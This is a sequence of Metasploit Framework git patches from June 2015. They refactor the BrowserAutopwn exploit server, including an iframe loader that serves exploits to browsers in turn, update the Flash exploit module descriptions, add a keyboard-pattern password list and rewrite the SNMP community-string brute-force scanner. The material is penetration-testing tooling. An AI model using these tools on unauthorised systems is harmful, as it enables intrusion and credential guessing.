MSF_LICENSE, 'Author' => diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb index fccecf14f9..b040cd0391 100644 --- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb @@ -19,7 +19,9 @@ class Metasploit3 < Msf::Exploit::Remote to uncompress() a malformed byte stream. This module has been tested successfully on: * Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and 16.0.0.235. - * Linux Mint "Rebecca" (32 bits) with Firefox 33.0 and Flash 11.2.202.404. + * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 16.0.0.287. + * Windows 8.1, Firefox 38.0.5 and Adobe Flash 16.0.0.305. + * Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Flash 11.2.202.424. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb b/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb index 77e8ce5cbe..34dcd36cb9 100644 --- a/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb +++ b/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb @@ -17,8 +17,10 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs in the copyPixelsToByteArray method from the BitmapData object. The position field of the destination ByteArray can be used to cause an integer overflow and write contents out of - the ByteArray buffer. This module has been tested successfully on Windows 7 SP1 (32-bit), - IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145, and 14.0.0.125. + the ByteArray buffer. This module has been tested successfully on: + * Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145, and 14.0.0.125. + * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 14.0.0.179. + * Windows 8.1, Firefox 38.0.5 and Adobe Flash 14.0.0.179. }, 'License' => MSF_LICENSE, 'Author' => From be60f964c6524c6670906c88ffdac3670e7e38ae Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 10:50:52 -0500 Subject: [PATCH 0327/1013] Call super for cleanup --- lib/msf/core/exploit/browserautopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 280e2359f3..d37a8991de 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -141,7 +141,7 @@ module Msf rm_target_info_notes rm_exploit_jobs rm_payload_jobs - stop_service if service + super end From ecdeeea5c6ae20df2ca4b2684eea7a35c140b337 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 11:11:40 -0500 Subject: [PATCH 0328/1013] Make sure super is called --- lib/msf/core/exploit/browserautopwnv2.rb | 7 ++++++- lib/msf/core/exploit/remote/browser_exploit_server.rb | 1 + 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index d37a8991de..97e6111234 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -132,16 +132,21 @@ module Msf end + def stop_bap_job + $stderr.puts self.inspect + end + + # Cleans up everything such as notes and jobs. # # @see #rm_exploit_jobs The method for cleaning up jobs. # @see #rm_target_info_notes The method for removing target information (found in db notes). # @return [void] def cleanup + super rm_target_info_notes rm_exploit_jobs rm_payload_jobs - super end diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 074202b8e0..f07ec28166 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -128,6 +128,7 @@ module Msf # Cleans up target information owned by the current module. def cleanup + super # Whoever registered NoteTypePrefix should do the cleanup for notes return if self.datastore['NoteTypePrefix'] From f8c5e5a70ace011e94c96645dd9bf84406adfdf0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 11:16:43 -0500 Subject: [PATCH 0329/1013] Don't show "Server stopped" --- lib/msf/core/exploit/tcp_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/tcp_server.rb b/lib/msf/core/exploit/tcp_server.rb index 14af809cc9..3a84cf38c9 100644 --- a/lib/msf/core/exploit/tcp_server.rb +++ b/lib/msf/core/exploit/tcp_server.rb @@ -71,7 +71,7 @@ module Exploit::Remote::TcpServer super if(service) stop_service() - print_status("Server stopped.") + print_status("Server stopped.") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 end end From 15916f0ab0ad0b9c00693183e43fdb54ab324ce3 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 5 Jun 2015 11:45:53 -0500 Subject: [PATCH 0330/1013] Backport an upstream fix for a nil header https://github.com/tmtm/ruby-mysql/commit/353d5951da1089432eac063b793b6561361be78a https://github.com/tmtm/ruby-mysql/commit/7c984ea66e9cca61b1e6e99647138c99f44a5ba5 --- lib/rbmysql/protocol.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/rbmysql/protocol.rb b/lib/rbmysql/protocol.rb index c06e5bf01c..e3d9b18833 100644 --- a/lib/rbmysql/protocol.rb +++ b/lib/rbmysql/protocol.rb @@ -234,6 +234,7 @@ class RbMysql begin Timeout.timeout @read_timeout do header = @sock.read(4) + raise EOFError unless header && header.length == 4 len1, len2, seq = header.unpack("CvC") len = (len2 << 8) + len1 # Ignore the sequence number -- protocol differences between 4.x and 5.x From e1c30e973dc706b005ad507809d742b25bf67658 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 12:14:43 -0500 Subject: [PATCH 0331/1013] Fix SRVHOST --- lib/msf/core/exploit/browserautopwnv2.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 97e6111234..5e91af35a2 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -476,6 +476,7 @@ module Msf t1 = Time.now self.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 self.datastore['DisablePayloadHandler'] = true + super @bap_exploits = [] @exploit_job_ids = [] @@ -546,8 +547,12 @@ module Msf def start_service super show_ready_exploits + proto = (datastore['SSL'] ? "https" : "http") + srvhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + srvport = datastore['SRVPORT'] + service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}" print_status("Please use the following URL for the browser attack:") - print_status("BrowserAutoPwn URL: #{self.get_uri}") + print_status("BrowserAutoPwn URL: #{service_uri}") end From 188b15b17fa6f0f81e8879494f99e258be7c4cee Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 16:18:56 -0500 Subject: [PATCH 0332/1013] Fix the symbol vs string prob --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index f07ec28166..1340a1e9e7 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -514,8 +514,10 @@ module Msf try_set_target(profile) bad_reqs = get_bad_requirements(profile) if bad_reqs.empty? + browser_info = profile.values.first + browser_info = browser_info.inject({}){|data,(k,v)| data[k.to_sym] = v; data} begin - method(:on_request_exploit).call(cli, request, profile.values.first) + method(:on_request_exploit).call(cli, request, browser_info) rescue BESException => e elog("BESException: #{e.message}\n#{e.backtrace * "\n"}") send_not_found(cli) @@ -574,8 +576,8 @@ module Msf # @param browser_info [Hash] The target profile # @return [String] The payload def get_payload(cli, browser_info) - arch = browser_info['arch'] - platform = browser_info['os_name'] + arch = browser_info[:arch] + platform = browser_info[:os_name] # Fix names for consistency so our API can find the right one # Originally defined in lib/msf/core/constants.rb From f29b38b6026a463ab3af254ab8d650ecb280c511 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 5 Jun 2015 16:46:08 -0500 Subject: [PATCH 0333/1013] Add the top 20 keyboard patterns as passwords See https://wpengine.com/unmasked/ for lots more, but this covers the gif at https://wpengine.com/unmasked/assets/images/commonkeyboardpatterns.gif --- data/wordlists/keyboard-patterns.txt | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 data/wordlists/keyboard-patterns.txt diff --git a/data/wordlists/keyboard-patterns.txt b/data/wordlists/keyboard-patterns.txt new file mode 100644 index 0000000000..143b9d904a --- /dev/null +++ b/data/wordlists/keyboard-patterns.txt @@ -0,0 +1,20 @@ +qwerty +qwertyuiop +1qaz2wsx +qazwsx +asdfgh +zxcvbnm +1234qwer +q1w2e3r4t5 +qwer1234 +q1w2e3r4 +asdfasdf +qazwsxedc +asdfghjkl +q1w2e3 +1qazxsw2 +12QWaszx +qweasdzxc +mnbvcxz +a1b2c3d4 +adgjmptw From fb8abe54fc6c87627cb703af86cdb749c2f96f26 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 17:52:40 -0500 Subject: [PATCH 0334/1013] This will continue loading the rest of the exploits --- lib/msf/core/exploit/browserautopwnv2.rb | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 5e91af35a2..9e7e1e4efc 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -769,7 +769,6 @@ module Msf # Some Flash exploits don't seem to work well with a hidden iframe. js = %Q| - var currentIndex = 0; var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}]; function setElementStyle(e, opts) { @@ -797,13 +796,16 @@ module Msf e.setAttribute("id", "myiframe"); moveIframe(e); document.body.appendChild(e); - setTimeout("loadExploit(currentIndex)", 1000); + loadExploit(); } - function loadExploit(i) { + function loadExploit() { var e = document.getElementById("myiframe"); - e.setAttribute("src", exploitList[i]); - currentIndex += 1; + var firstUri = exploitList.splice(0, 1); + if (firstUri != '') { + e.setAttribute("src", firstUri); + setTimeout("loadExploit()", 1000); + } } | From a7fa434e896dc8ab52e59ef216117ccaf87d472e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 21:03:24 -0500 Subject: [PATCH 0335/1013] If exploit list is empty, have the option to return content --- lib/msf/core/exploit/browserautopwnv2.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 9e7e1e4efc..ec9f74947b 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -762,8 +762,12 @@ module Msf end elsif exploit_list.empty? print_status("No suitable exploits to send.") - send_not_found(cli) - return '' + if datastore['Content'].blank? + send_not_found(cli) + return '' + else + return datastore['Content'] + end end From 4e058c942eace1a347162e29415e33363d385102 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 21:04:22 -0500 Subject: [PATCH 0336/1013] Fix typo --- lib/msf/core/exploit/browserautopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index ec9f74947b..38e90eee0d 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -629,7 +629,7 @@ module Msf # Logs a click that includes the suitable exploit list. # # @param [String] ip The target's IP address. - # @param [String] data (Optioal) CSV data that contains the exploit list. + # @param [String] data (Optional) CSV data that contains the exploit list. # @return [void] def log_click(ip, data='') report_note( From 7ca15f1ae13c5e60a6281e7aa30499bda88fa9d1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 21:06:20 -0500 Subject: [PATCH 0337/1013] Update select_payload doc --- lib/msf/core/exploit/browserautopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 38e90eee0d..3c2894de04 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -428,7 +428,7 @@ module Msf # Returns an appropriate payload that's compatible with the module. # # @param [Object] m A module that's been initialized. - # @return [String] Payload name. Example: 'windows/meterpreter/reverse_tcp' + # @return [Array] Payload name. Example: 'windows/meterpreter/reverse_tcp' def select_payload(m) compatible_payloads = [] From ff39e32cc6697fcc6680eb0201b5c42b65795dd5 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 21:06:57 -0500 Subject: [PATCH 0338/1013] Single quote --- modules/exploits/multi/browser/autopwn.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 809eba0fb7..afecbfc00c 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('Content', [false, 'HTML Content', '']), OptAddressRange.new('Whitelist', [false, "A range of IPs you're interested in attacking"]), OptInt.new('MaxSessions', [false, 'Number of sessions to get', -1]), - OptBool.new("RealList", [true, "Show which exploits will actually be served to each client", false]) + OptBool.new('RealList', [true, "Show which exploits will actually be served to each client", false]) ] ,self.class) deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') From ea33d7060ee1ab9c6b7bdc9da2871668f5dbaec1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 21:07:27 -0500 Subject: [PATCH 0339/1013] Correct ranking --- .../exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb index 6c56be6d95..b040cd0391 100644 --- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer From 4b6dcbb9d9edc040c7ce86683c6245a152a94324 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 22:03:56 -0500 Subject: [PATCH 0340/1013] remove junk method --- lib/msf/core/exploit/browserautopwnv2.rb | 5 ----- 1 file changed, 5 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 3c2894de04..866e78d6e1 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -132,11 +132,6 @@ module Msf end - def stop_bap_job - $stderr.puts self.inspect - end - - # Cleans up everything such as notes and jobs. # # @see #rm_exploit_jobs The method for cleaning up jobs. From 6b05302059be13eb7a7f214d6e998f2c76a6406a Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 6 Jun 2015 00:50:55 -0500 Subject: [PATCH 0341/1013] Fixes #5459, refactors LoginScanner::SNMP --- .../framework/login_scanner/snmp.rb | 358 ++++++++++++++---- modules/auxiliary/scanner/snmp/snmp_login.rb | 10 +- .../framework/login_scanner/snmp_spec.rb | 24 -- 3 files changed, 280 insertions(+), 112 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/snmp.rb b/lib/metasploit/framework/login_scanner/snmp.rb index 383caf52ca..5160f3747c 100644 --- a/lib/metasploit/framework/login_scanner/snmp.rb +++ b/lib/metasploit/framework/login_scanner/snmp.rb @@ -1,3 +1,5 @@ +# -*- coding: binary -*- + require 'snmp' require 'metasploit/framework/login_scanner/base' @@ -13,27 +15,24 @@ module Metasploit DEFAULT_TIMEOUT = 2 DEFAULT_PORT = 161 - DEFAULT_RETRIES = 0 - DEFAULT_VERSION = 'all' + DEFAULT_VERSION = '1' + DEFAULT_QUEUE_SIZE = 100 LIKELY_PORTS = [ 161, 162 ] LIKELY_SERVICE_NAMES = [ 'snmp' ] PRIVATE_TYPES = [ :password ] REALM_KEY = nil - # The number of retries per community string - # @return [Fixnum] - attr_accessor :retries + attr_accessor :queued_credentials #:nodoc: + attr_accessor :queued_results #:nodoc: + attr_accessor :sock #:nodoc: # The SNMP version to scan # @return [String] attr_accessor :version - validates :retries, - presence: true, - numericality: { - only_integer: true, - greater_than_or_equal_to: 0 - } + # The number of logins to try in each batch + # @return [Fixnum] + attr_accessor :queue_size validates :version, presence: true, @@ -41,6 +40,13 @@ module Metasploit in: ['1', '2c', 'all'] } + validates :queue_size, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + } + # This method returns an array of versions to scan # @return [Array] An array of versions def versions @@ -54,94 +60,284 @@ module Metasploit end end - # This method attempts a single login with a single credential against the target - # @param credential [Credential] The credential object to attmpt to login with - # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object - def attempt_login(credential) - result_options = { - credential: credential, + # Attempt to login with every {Credential credential} in # {#cred_details}. + # + # @yieldparam result [Result] The {Result} object for each attempt + # @yieldreturn [void] + # @return [void] + def scan! + valid! + + # Keep track of connection errors. + # If we encounter too many, we will stop. + consecutive_error_count = 0 + total_error_count = 0 + + successful_users = Set.new + first_attempt = true + + # Create a socket for the initial login tests (read-only) + configure_socket + + # Create a map of community name to credential object + credential_map = {} + + begin + each_credential do |credential| + # Track the credentials by community string + credential_map[credential.public] = credential + + # Skip users for whom we've have already found a password + if successful_users.include?(credential.public) + # For Pro bruteforce Reuse and Guess we need to note that we + # skipped an attempt. + if credential.parent.respond_to?(:skipped) + credential.parent.skipped = true + credential.parent.save! + end + next + end + # Queue and trigger authentication if queue size is reached + versions.each do |version| + process_logins(community: credential.public, type: 'read', version: version) + end + + # Exit early if we already have a positive result + if stop_on_success && self.queued_results.length > 0 + break + end + end + rescue Errno::ECONNREFUSED + # Exit early if we get an ICMP port unreachable + return + end + + # Handle any unprocessed responses + process_logins(final: true) + + # Create a non-duplicated set of credentials + found_credentials = self.queued_results.uniq + + # Reset the queued results for our write test + self.queued_results = [] + + # Grab a new socket to avoid stale replies + configure_socket + + # Try to write back the originally received values + found_credentials.each do |result| + process_logins( + version: result[:snmp_version], + community: result[:community], + type: 'write', + data: result[:proof] + ) + end + + # Catch any stragglers + process_logins(final: true) + + # Mark any results from our write scan as read-write in our found credentials + self.queued_results.select{|r| [0,17].include? r[:snmp_error] }.map{|r| r[:community]}.uniq.each do |c| + found_credentials.select{|r| r[:community] == c}.each do |result| + result[:access_level] = 'read-write' + end + end + + # Iterate the results + found_credentials.each do |result_options| + # Scrub the SNMP version & error code from the tracked result + result_options.delete(:snmp_version) + result_options.delete(:snmp_error) + + # Associate the community with the original credential + result_options[:credential] = credential_map[result_options.delete(:community)] + + # Create, freeze, and yield the result + result = ::Metasploit::Framework::LoginScanner::Result.new(result_options) + result.freeze + yield result if block_given? + end + + shutdown_socket + nil + end + + # Queue up and possibly send any requests, based on the queue limit and final flag + def process_logins(opts={}) + self.queued_results ||= [] + self.queued_credentials ||= [] + + unless opts[:final] || self.queued_credentials.length > self.queue_size + self.queued_credentials.push [ opts[:type], opts[:community], opts[:version], opts[:data] ] + return + end + + return if self.queued_credentials.length == 0 + + process_responses(0.01) + + while self.queued_credentials.length > 0 + action, community, version, data = self.queued_credentials.pop + case action + when 'read' + send_snmp_read_request(version, community) + when 'write' + send_snmp_write_request(version, community, data) + end + sleep_between_attempts + end + process_responses(1.0) + end + + # Process any responses on the UDP socket and queue the results + def process_responses(timeout=1.0) + queue = [] + while (res = sock.recvfrom(65535, timeout)) + + # Ignore invalid responses + break if not res[1] + + # Ignore empty responses + next if not (res[0] and res[0].length > 0) + + # Trim the IPv6-compat prefix off if needed + shost = res[1].sub(/^::ffff:/, '') + + response = parse_snmp_response(res[0]) + next unless response + + self.queued_results << { + community: response[:community], host: host, port: port, protocol: 'udp', - service_name: 'snmp' - } - - versions.each do |version| - snmp_client = ::SNMP::Manager.new( - :Host => host, - :Port => port, - :Community => credential.public, - :Version => version, - :Timeout => connection_timeout, - :Retries => retries, - :Transport => ::SNMP::RexUDPTransport, - :Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }) - ) - - result_options[:proof] = test_read_access(snmp_client) - if result_options[:proof].nil? - result_options[:status] = Metasploit::Model::Login::Status::INCORRECT - else - result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL - if has_write_access?(snmp_client, result_options[:proof]) - result_options[:access_level] = "read-write" - else - result_options[:access_level] = "read-only" - end - end + service_name: 'snmp', + proof: response[:proof], + status: Metasploit::Model::Login::Status::SUCCESSFUL, + access_level: 'read-only', + snmp_version: response[:version], + snmp_error: response[:error] + } end - - ::Metasploit::Framework::LoginScanner::Result.new(result_options) end - private + # Create and send a SNMP read request for sys.sysDescr.0 + def send_snmp_read_request(version, community) + send_snmp_request( + create_snmp_read_sys_descr_request(version, community) + ) + end + + # Create and send a SNMP write request for sys.sysDescr.0 + def send_snmp_write_request(version, community, data) + send_snmp_request( + create_snmp_write_sys_descr_request(version, community, data) + ) + end + + # Send a SNMP request on the existing socket + def send_snmp_request(pkt) + resend_count = 0 - # This method takes an snmp client and tests whether - # it has write access to the remote system. It sets the - # the sysDescr oid to the same value we already read. - # @param snmp_client [SNMP::Manager] The SNMP client to use - # @param value [String] the value to set sysDescr back to - # @return [Boolean] Returns true or false for if we have write access - def has_write_access?(snmp_client, value) - var_bind = ::SNMP::VarBind.new("1.3.6.1.2.1.1.1.0", ::SNMP::OctetString.new(value)) begin - resp = snmp_client.set(var_bind) - if resp.error_status == :noError - return true + sock.sendto(pkt, self.host, self.port, 0) + rescue ::Errno::ENOBUFS + resend_count += 1 + if resend_count > MAX_RESEND_COUNT + return false end - rescue RuntimeError - return false + ::IO.select(nil, nil, nil, 0.25) + retry + rescue ::Rex::ConnectionError + # This fires for host unreachable, net unreachable, and broadcast sends + # We can safely ignore all of these for UDP sends end - end - # Sets the connection timeout appropriately for SNMP - # if the user did not set it. + # Create a SNMP request that tries to read from sys.sysDescr.0 + def create_snmp_read_sys_descr_request(version_str, community) + version = version_str == '1' ? 1 : 2 + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Integer(version - 1), + OpenSSL::ASN1::OctetString(community), + OpenSSL::ASN1::Set.new([ + OpenSSL::ASN1::Integer(rand(0x80000000)), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"), + OpenSSL::ASN1.Null(nil) + ]) + ]), + ], 0, :IMPLICIT) + ]).to_der + end + + # Create a SNMP request that tries to write to sys.sysDescr.0 + def create_snmp_write_sys_descr_request(version_str, community, data) + version = version_str == '1' ? 1 : 2 + snmp_write = OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Integer(version - 1), + OpenSSL::ASN1::OctetString(community), + OpenSSL::ASN1::Set.new([ + OpenSSL::ASN1::Integer(rand(0x80000000)), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"), + OpenSSL::ASN1::OctetString(data) + ]) + ]), + ], 3, :IMPLICIT) + ]).to_der + end + + # Parse a SNMP reply from a packet and return a response hash or nil + def parse_snmp_response(pkt) + asn = OpenSSL::ASN1.decode(pkt) rescue nil + return if not asn + + snmp_vers = asn.value[0].value.to_i rescue nil + snmp_comm = asn.value[1].value rescue nil + snmp_error = asn.value[2].value[1].value.to_i rescue nil + snmp_data = asn.value[2].value[3].value[0] rescue nil + snmp_oid = snmp_data.value[0].value rescue nil + snmp_info = snmp_data.value[1].value.to_s rescue nil + + return if not (snmp_error and snmp_comm and snmp_data and snmp_oid and snmp_info) + snmp_vers = snmp_vers == 0 ? "1" : "2c" + + { error: snmp_error, community: snmp_comm, proof: snmp_info, version: snmp_vers} + end + + # Create a new socket for this scanner + def configure_socket + shutdown_socket if self.sock + self.sock = ::Rex::Socket::Udp.create( + 'PeerHost' => self.host, + 'PeerPort' => self.port, + 'Context' => + { 'Msf' => framework, 'MsfExploit' => framework_module } + ) + end + + # Close any open socket if it exists + def shutdown_socket + self.sock.close if self.sock + self.sock = nil + end + + # Sets the SNMP parameters if not specified def set_sane_defaults self.connection_timeout = DEFAULT_TIMEOUT if self.connection_timeout.nil? self.port = DEFAULT_PORT if self.port.nil? - self.retries = DEFAULT_RETRIES if self.retries.nil? self.version = DEFAULT_VERSION if self.version.nil? + self.queue_size = DEFAULT_QUEUE_SIZE if self.queue_size.nil? end - # This method takes an snmp client and tests whether - # it has read access to the remote system. It checks - # the sysDescr oid to use as proof - # @param snmp_client [SNMP::Manager] The SNMP client to use - # @return [String, nil] Returns a string if successful, nil if failed - def test_read_access(snmp_client) - proof = nil - begin - resp = snmp_client.get("sysDescr.0") - resp.each_varbind { |var| proof = var.value } - rescue RuntimeError - proof = nil - end - proof - end - - - end end diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb index ec3cd19571..980c437f15 100644 --- a/modules/auxiliary/scanner/snmp/snmp_login.rb +++ b/modules/auxiliary/scanner/snmp/snmp_login.rb @@ -29,10 +29,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(161), - Opt::CHOST, - OptInt.new('CONNECTION_TIMEOUT', [true, 'The timeout value for each probe', 2]), - OptInt.new('RETRIES', [true, 'The number of retries per community string', 0]), - OptEnum.new('VERSION', [true, 'The SNMP version to scan', 'all', ['1', '2c', 'all']]), + OptEnum.new('VERSION', [true, 'The SNMP version to scan', '1', ['1', '2c', 'all']]), OptString.new('PASSWORD', [ false, 'The password to test' ]), OptPath.new('PASS_FILE', [ false, "File containing communities, one per line", File.join(Msf::Config.data_directory, "wordlists", "snmp_default_pass.txt") @@ -56,11 +53,10 @@ class Metasploit3 < Msf::Auxiliary cred_details: collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: datastore['CONNECTION_TIMEOUT'], - retries: datastore['RETRIES'], version: datastore['VERSION'], framework: framework, - framework_module: self + framework_module: self, + queue_size: 100 ) scanner.scan! do |result| diff --git a/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb index 0dc0c8851c..99ccfbdca5 100644 --- a/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb @@ -29,28 +29,4 @@ describe Metasploit::Framework::LoginScanner::SNMP do described_class.new } - it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false - - - context '#attempt_login' do - before(:each) do - snmp_scanner.host = '127.0.0.1' - snmp_scanner.port = 161 - snmp_scanner.connection_timeout = 1 - snmp_scanner.stop_on_success = true - snmp_scanner.cred_details = detail_group - end - - it 'creates a Timeout based on the connection_timeout' do - ::Timeout.should_receive(:timeout).at_least(:once).with(snmp_scanner.connection_timeout) - snmp_scanner.attempt_login(pub_comm) - end - - it 'creates a SNMP Manager for each supported version of SNMP' do - ::SNMP::Manager.should_receive(:new).twice.and_call_original - snmp_scanner.attempt_login(pub_comm) - end - - end - end From 135958a225a6b0631becc14106568de6f291301d Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 6 Jun 2015 00:54:08 -0500 Subject: [PATCH 0342/1013] Cleanup the udp_(sweep|probe) SNMP generators --- .../auxiliary/scanner/discovery/udp_probe.rb | 58 ++++++++++--------- .../auxiliary/scanner/discovery/udp_sweep.rb | 58 ++++++++++--------- 2 files changed, 64 insertions(+), 52 deletions(-) diff --git a/modules/auxiliary/scanner/discovery/udp_probe.rb b/modules/auxiliary/scanner/discovery/udp_probe.rb index fb5b0bf10f..152f3c7374 100644 --- a/modules/auxiliary/scanner/discovery/udp_probe.rb +++ b/modules/auxiliary/scanner/discovery/udp_probe.rb @@ -473,36 +473,42 @@ class Metasploit3 < Msf::Auxiliary end def probe_pkt_snmp1(ip) - name = 'public' - xid = rand(0x100000000) - pdu = - "\x02\x01\x00" + - "\x04" + [name.length].pack('c') + name + - "\xa0\x1c" + - "\x02\x04" + [xid].pack('N') + - "\x02\x01\x00" + - "\x02\x01\x00" + - "\x30\x0e\x30\x0c\x06\x08\x2b\x06\x01\x02\x01" + - 